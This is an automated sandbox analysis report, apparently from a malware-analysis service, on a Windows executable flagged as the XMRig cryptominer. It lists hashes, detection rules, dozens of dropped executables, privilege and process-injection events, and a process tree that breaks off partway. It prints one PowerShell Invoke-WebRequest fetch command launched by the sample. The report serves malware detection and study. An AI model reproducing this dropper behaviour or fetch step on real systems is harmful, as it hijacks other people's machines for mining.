xmrig | 59ea51809308390cd150c22af7b95f60e88e83cc082cc7d5e992416886e92cea

Analysis

max time kernel
119s
max time network
118s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
06/08/2024, 17:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d10d30aaea0965e61c8c5c0da8bc0de0N.exe
Size

2.0MB
MD5

d10d30aaea0965e61c8c5c0da8bc0de0
SHA1

bdae9199df6d2f89023da8fb60bf2c08372e9fc6
SHA256

59ea51809308390cd150c22af7b95f60e88e83cc082cc7d5e992416886e92cea
SHA512

c5980944771c2ee6351aa6df60eefb59d9bc224cceb17dcff3199f1d82a600150a91795b422513be846632c9520931ff9bc862e4dc7db1210bb9c894c9dd8085
SSDEEP

49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHqx4EKeLp:NABM

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 14 IoCs

miner

resource	yara_rule
behavioral1/memory/2248-73-0x000000013F780000-0x000000013FB72000-memory.dmp	xmrig
behavioral1/memory/2732-82-0x000000013FA90000-0x000000013FE82000-memory.dmp	xmrig
behavioral1/memory/2888-79-0x000000013F2B0000-0x000000013F6A2000-memory.dmp	xmrig
behavioral1/memory/2112-60-0x000000013F380000-0x000000013F772000-memory.dmp	xmrig
behavioral1/memory/2764-88-0x000000013F4D0000-0x000000013F8C2000-memory.dmp	xmrig
behavioral1/memory/2816-87-0x000000013F6E0000-0x000000013FAD2000-memory.dmp	xmrig
behavioral1/memory/2832-86-0x000000013F200000-0x000000013F5F2000-memory.dmp	xmrig
behavioral1/memory/2248-4573-0x000000013F780000-0x000000013FB72000-memory.dmp	xmrig
behavioral1/memory/2764-4572-0x000000013F4D0000-0x000000013F8C2000-memory.dmp	xmrig
behavioral1/memory/2112-4571-0x000000013F380000-0x000000013F772000-memory.dmp	xmrig
behavioral1/memory/2816-4575-0x000000013F6E0000-0x000000013FAD2000-memory.dmp	xmrig
behavioral1/memory/2732-4576-0x000000013FA90000-0x000000013FE82000-memory.dmp	xmrig
behavioral1/memory/2832-4577-0x000000013F200000-0x000000013F5F2000-memory.dmp	xmrig
behavioral1/memory/2888-4583-0x000000013F2B0000-0x000000013F6A2000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3028	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2112	FFhNIdx.exe
2248	JDclVnb.exe
2888	moKpirE.exe
2732	hMqitwm.exe
2832	uceMrcB.exe
2816	tiFobTr.exe
2764	PkXAuxp.exe
2776	hQKtxzB.exe
2596	BgkJWZN.exe
3060	NqnGZMI.exe
2008	PxRauRC.exe
2984	RxGiWda.exe
2060	JVoTnaR.exe
2780	urMSxpU.exe
2716	KlSkeVJ.exe
3056	qlvsWuj.exe
1804	BpYCMmV.exe
2000	EjOANqQ.exe
1832	GEoRCGE.exe
1932	ybxdCqS.exe
1464	JqFdjtW.exe
2108	aRfENty.exe
1080	hjJdKQs.exe
2004	XhdwSkg.exe
1712	GcJPKGk.exe
2052	OWdrhRy.exe
764	VRnLgSt.exe
1376	mxjEyZV.exe
2096	MTfJgsi.exe
292	uTqMhAQ.exe
328	GVayHfp.exe
900	vuoYmZM.exe
2948	WnZmAoA.exe
2304	NFiwTAw.exe
300	rGfAcCw.exe
1968	myvlnVq.exe
1340	zGUPEwL.exe
1520	IdMMuES.exe
2488	BsXfrPI.exe
1764	OBwaOBI.exe
2316	FaUUklc.exe
792	ogFRozi.exe
892	OhESTdu.exe
2560	FVYiXUl.exe
1736	QoAYVcd.exe
1392	OAurAmn.exe
2508	gPUetqL.exe
2192	nEgVvpF.exe
2804	PYmTPsD.exe
2656	srhLPJB.exe
1656	HnOcjYX.exe
2836	vpFCYNg.exe
1220	GLNcCUc.exe
2976	gqNFYlj.exe
2328	vnFdsTa.exe
2660	tGnRBuR.exe
616	mVwZQkm.exe
1400	PiFeyax.exe
1216	AwwAEeL.exe
2912	wkModOb.exe
1164	GPtXuCF.exe
2312	pdPFaxH.exe
2472	YfsFYwf.exe
1016	SRWcdXb.exe

Loads dropped DLL 64 IoCs

pid	Process
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe

UPX packed file 47 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2392-1-0x000000013F980000-0x000000013FD72000-memory.dmp	upx
behavioral1/files/0x000c000000012273-3.dat	upx
behavioral1/files/0x0006000000016d49-61.dat	upx
behavioral1/files/0x0006000000016d39-49.dat	upx
behavioral1/files/0x0006000000016d20-43.dat	upx
behavioral1/files/0x0008000000015d39-16.dat	upx
behavioral1/files/0x0006000000016ccd-34.dat	upx
behavioral1/files/0x0009000000015eb1-27.dat	upx
behavioral1/files/0x0009000000015d22-21.dat	upx
behavioral1/files/0x0007000000015d79-18.dat	upx
behavioral1/files/0x0007000000015d71-13.dat	upx
behavioral1/memory/2248-73-0x000000013F780000-0x000000013FB72000-memory.dmp	upx
behavioral1/files/0x0006000000016d62-67.dat	upx
behavioral1/memory/2732-82-0x000000013FA90000-0x000000013FE82000-memory.dmp	upx
behavioral1/memory/2888-79-0x000000013F2B0000-0x000000013F6A2000-memory.dmp	upx
behavioral1/files/0x00050000000186de-184.dat	upx
behavioral1/files/0x000500000001867d-179.dat	upx
behavioral1/files/0x0009000000018671-174.dat	upx
behavioral1/files/0x0006000000017041-163.dat	upx
behavioral1/files/0x0006000000017491-159.dat	upx
behavioral1/files/0x0006000000016de1-151.dat	upx
behavioral1/files/0x0009000000015cf4-149.dat	upx
behavioral1/files/0x0007000000016de9-131.dat	upx
behavioral1/files/0x00060000000174ca-166.dat	upx
behavioral1/files/0x0006000000017487-154.dat	upx
behavioral1/files/0x0006000000016ec4-143.dat	upx
behavioral1/files/0x0007000000004e74-129.dat	upx
behavioral1/files/0x0006000000016d89-116.dat	upx
behavioral1/files/0x0006000000016d6d-109.dat	upx
behavioral1/files/0x0006000000016d66-105.dat	upx
behavioral1/files/0x0006000000016d5d-104.dat	upx
behavioral1/files/0x0006000000016d41-103.dat	upx
behavioral1/files/0x0006000000016d30-102.dat	upx
behavioral1/files/0x0006000000016ceb-100.dat	upx
behavioral1/files/0x0009000000015f19-99.dat	upx
behavioral1/memory/2112-60-0x000000013F380000-0x000000013F772000-memory.dmp	upx
behavioral1/files/0x0007000000015d81-22.dat	upx
behavioral1/memory/2764-88-0x000000013F4D0000-0x000000013F8C2000-memory.dmp	upx
behavioral1/memory/2816-87-0x000000013F6E0000-0x000000013FAD2000-memory.dmp	upx
behavioral1/memory/2832-86-0x000000013F200000-0x000000013F5F2000-memory.dmp	upx
behavioral1/memory/2248-4573-0x000000013F780000-0x000000013FB72000-memory.dmp	upx
behavioral1/memory/2764-4572-0x000000013F4D0000-0x000000013F8C2000-memory.dmp	upx
behavioral1/memory/2112-4571-0x000000013F380000-0x000000013F772000-memory.dmp	upx
behavioral1/memory/2816-4575-0x000000013F6E0000-0x000000013FAD2000-memory.dmp	upx
behavioral1/memory/2732-4576-0x000000013FA90000-0x000000013FE82000-memory.dmp	upx
behavioral1/memory/2832-4577-0x000000013F200000-0x000000013F5F2000-memory.dmp	upx
behavioral1/memory/2888-4583-0x000000013F2B0000-0x000000013F6A2000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\serisBl.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\LUhRSSf.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\ZAeeYog.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\tETaPWU.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\cQsxDXt.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\bJSOPqk.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\jYRfFxQ.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\jjoyxrK.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\UNmChDl.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\wojyByK.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\SbDqCUz.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\aZGFdcu.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\dAnahXg.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\lqBuEHs.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\TkwLApd.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\IJKAbMM.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\AlEMpYw.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\GQvpQUR.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\OQbKOnm.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\TGEeNmi.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\myAKiki.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\Eyeobgp.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\XjTmYZm.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\qlvsWuj.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\XnSuaBC.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\hPxVHlV.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\ibfEUPm.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\GHFIKVE.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\BSJrapF.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\vxqzxgB.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\AMnrPri.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\bvJPCoA.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\LdaaKgc.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\rVBxfEB.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\QBVOvFK.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\VpPXAPp.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\EuVqyab.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\iwREgiy.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\uRbYQpf.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\WImtLMN.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\GbXAwUs.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\ktyEGIe.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\QLgOeIO.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\EqZvVyS.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\bQTlEBD.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\pNdqTWr.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\gbvwprG.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\ujqVPeR.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\DHPMWtz.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\iRkYGCo.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\XDHnHMQ.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\XekCxZw.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\VYpOplM.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\tJBfhHd.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\QryyjOx.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\XTUKQaj.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\NERfpxq.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\nRUJlYL.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\pYxHPOL.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\encQVkL.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\EcDYmiJ.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\jLqnEif.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\MmWJYto.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
File created	C:\Windows\System\CgKevIh.exe	d10d30aaea0965e61c8c5c0da8bc0de0N.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3028	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
Token: SeLockMemoryPrivilege	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe
Token: SeDebugPrivilege	3028	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2392 wrote to memory of 3028	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	31
PID 2392 wrote to memory of 3028	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	31
PID 2392 wrote to memory of 3028	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	31
PID 2392 wrote to memory of 2112	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	32
PID 2392 wrote to memory of 2112	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	32
PID 2392 wrote to memory of 2112	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	32
PID 2392 wrote to memory of 2888	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	33
PID 2392 wrote to memory of 2888	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	33
PID 2392 wrote to memory of 2888	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	33
PID 2392 wrote to memory of 2248	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	34
PID 2392 wrote to memory of 2248	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	34
PID 2392 wrote to memory of 2248	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	34
PID 2392 wrote to memory of 2732	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	35
PID 2392 wrote to memory of 2732	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	35
PID 2392 wrote to memory of 2732	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	35
PID 2392 wrote to memory of 2832	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	36
PID 2392 wrote to memory of 2832	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	36
PID 2392 wrote to memory of 2832	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	36
PID 2392 wrote to memory of 2984	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	37
PID 2392 wrote to memory of 2984	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	37
PID 2392 wrote to memory of 2984	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	37
PID 2392 wrote to memory of 2816	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	38
PID 2392 wrote to memory of 2816	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	38
PID 2392 wrote to memory of 2816	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	38
PID 2392 wrote to memory of 2060	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	39
PID 2392 wrote to memory of 2060	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	39
PID 2392 wrote to memory of 2060	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	39
PID 2392 wrote to memory of 2764	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	40
PID 2392 wrote to memory of 2764	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	40
PID 2392 wrote to memory of 2764	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	40
PID 2392 wrote to memory of 2780	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	41
PID 2392 wrote to memory of 2780	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	41
PID 2392 wrote to memory of 2780	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	41
PID 2392 wrote to memory of 2776	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	42
PID 2392 wrote to memory of 2776	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	42
PID 2392 wrote to memory of 2776	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	42
PID 2392 wrote to memory of 2716	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	43
PID 2392 wrote to memory of 2716	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	43
PID 2392 wrote to memory of 2716	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	43
PID 2392 wrote to memory of 2596	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	44
PID 2392 wrote to memory of 2596	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	44
PID 2392 wrote to memory of 2596	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	44
PID 2392 wrote to memory of 3056	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	45
PID 2392 wrote to memory of 3056	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	45
PID 2392 wrote to memory of 3056	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	45
PID 2392 wrote to memory of 3060	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	46
PID 2392 wrote to memory of 3060	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	46
PID 2392 wrote to memory of 3060	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	46
PID 2392 wrote to memory of 1804	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	47
PID 2392 wrote to memory of 1804	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	47
PID 2392 wrote to memory of 1804	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	47
PID 2392 wrote to memory of 2008	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	48
PID 2392 wrote to memory of 2008	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	48
PID 2392 wrote to memory of 2008	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	48
PID 2392 wrote to memory of 2000	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	49
PID 2392 wrote to memory of 2000	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	49
PID 2392 wrote to memory of 2000	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	49
PID 2392 wrote to memory of 1832	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	50
PID 2392 wrote to memory of 1832	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	50
PID 2392 wrote to memory of 1832	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	50
PID 2392 wrote to memory of 1080	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	51
PID 2392 wrote to memory of 1080	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	51
PID 2392 wrote to memory of 1080	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	51
PID 2392 wrote to memory of 1932	2392	d10d30aaea0965e61c8c5c0da8bc0de0N.exe	52

C:\Users\Admin\AppData\Local\Temp\d10d30aaea0965e61c8c5c0da8bc0de0N.exe
"C:\Users\Admin\AppData\Local\Temp\d10d30aaea0965e61c8c5c0da8bc0de0N.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3028
- C:\Windows\System\FFhNIdx.exe
  C:\Windows\System\FFhNIdx.exe
  2⤵
  - Executes dropped EXE
  PID:2112
- C:\Windows\System\moKpirE.exe
  C:\Windows\System\moKpirE.exe
  2⤵
  - Executes dropped EXE
  PID:2888
- C:\Windows\System\JDclVnb.exe
  C:\Windows\System\JDclVnb.exe
  2⤵
  - Executes dropped EXE
  PID:2248
- C:\Windows\System\hMqitwm.exe
  C:\Windows\System\hMqitwm.exe
  2⤵
  - Executes dropped EXE
  PID:2732
- C:\Windows\System\uceMrcB.exe
  C:\Windows\System\uceMrcB.exe
  2⤵
  - Executes dropped EXE
  PID:2832
- C:\Windows\System\RxGiWda.exe
  C:\Windows\System\RxGiWda.exe
  2⤵
  - Executes dropped EXE
  PID:2984
- C:\Windows\System\tiFobTr.exe
  C:\Windows\System\tiFobTr.exe
  2⤵
  - Executes dropped EXE
  PID:2816
- C:\Windows\System\JVoTnaR.exe
  C:\Windows\System\JVoTnaR.exe
  2⤵
  - Executes dropped EXE
  PID:2060
- C:\Windows\System\PkXAuxp.exe
  C:\Windows\System\PkXAuxp.exe
  2⤵
  - Executes dropped EXE
  PID:2764
- C:\Windows\System\urMSxpU.exe
  C:\Windows\System\urMSxpU.exe
  2⤵
  - Executes dropped EXE
  PID:2780
- C:\Windows\System\hQKtxzB.exe
  C:\Windows\System\hQKtxzB.exe
  2⤵
  - Executes dropped EXE
  PID:2776
- C:\Windows\System\KlSkeVJ.exe
  C:\Windows\System\KlSkeVJ.exe
  2⤵
  - Executes dropped EXE
  PID:2716
- C:\Windows\System\BgkJWZN.exe
  C:\Windows\System\BgkJWZN.exe
  2⤵
  - Executes dropped EXE
  PID:2596
- C:\Windows\System\qlvsWuj.exe
  C:\Windows\System\qlvsWuj.exe
  2⤵
  - Executes dropped EXE
  PID:3056
- C:\Windows\System\NqnGZMI.exe
  C:\Windows\System\NqnGZMI.exe
  2⤵
  - Executes dropped EXE
  PID:3060
- C:\Windows\System\BpYCMmV.exe
  C:\Windows\System\BpYCMmV.exe
  2⤵
  - Executes dropped EXE
  PID:1804
- C:\Windows\System\PxRauRC.exe
  C:\Windows\System\PxRauRC.exe
  2⤵
  - Executes dropped EXE
  PID:2008
- C:\Windows\System\EjOANqQ.exe
  C:\Windows\System\EjOANqQ.exe
  2⤵
  - Executes dropped EXE
  PID:2000
- C:\Windows\System\GEoRCGE.exe
  C:\Windows\System\GEoRCGE.exe
  2⤵
  - Executes dropped EXE
  PID:1832
- C:\Windows\System\hjJdKQs.exe
  C:\Windows\System\hjJdKQs.exe
  2⤵
  - Executes dropped EXE
  PID:1080
- C:\Windows\System\ybxdCqS.exe
  C:\Windows\System\ybxdCqS.exe
  2⤵
  - Executes dropped EXE
  PID:1932
- C:\Windows\System\XhdwSkg.exe
  C:\Windows\System\XhdwSkg.exe
  2⤵
  - Executes dropped EXE
  PID:2004
- C:\Windows\System\JqFdjtW.exe
  C:\Windows\System\JqFdjtW.exe
  2⤵
  - Executes dropped EXE
  PID:1464
- C:\Windows\System\OWdrhRy.exe
  C:\Windows\System\OWdrhRy.exe
  2⤵
  - Executes dropped EXE
  PID:2052
- C:\Windows\System\aRfENty.exe
  C:\Windows\System\aRfENty.exe
  2⤵
  - Executes dropped EXE
  PID:2108
- C:\Windows\System\VRnLgSt.exe
  C:\Windows\System\VRnLgSt.exe
  2⤵
  - Executes dropped EXE
  PID:764
- C:\Windows\System\GcJPKGk.exe
  C:\Windows\System\GcJPKGk.exe
  2⤵
  - Executes dropped EXE
  PID:1712
- C:\Windows\System\MTfJgsi.exe
  C:\Windows\System\MTfJgsi.exe
  2⤵
  - Executes dropped EXE
  PID:2096
- C:\Windows\System\mxjEyZV.exe
  C:\Windows\System\mxjEyZV.exe
  2⤵
  - Executes dropped EXE
  PID:1376
- C:\Windows\System\uTqMhAQ.exe
  C:\Windows\System\uTqMhAQ.exe
  2⤵
  - Executes dropped EXE
  PID:292
- C:\Windows\System\GVayHfp.exe
  C:\Windows\System\GVayHfp.exe
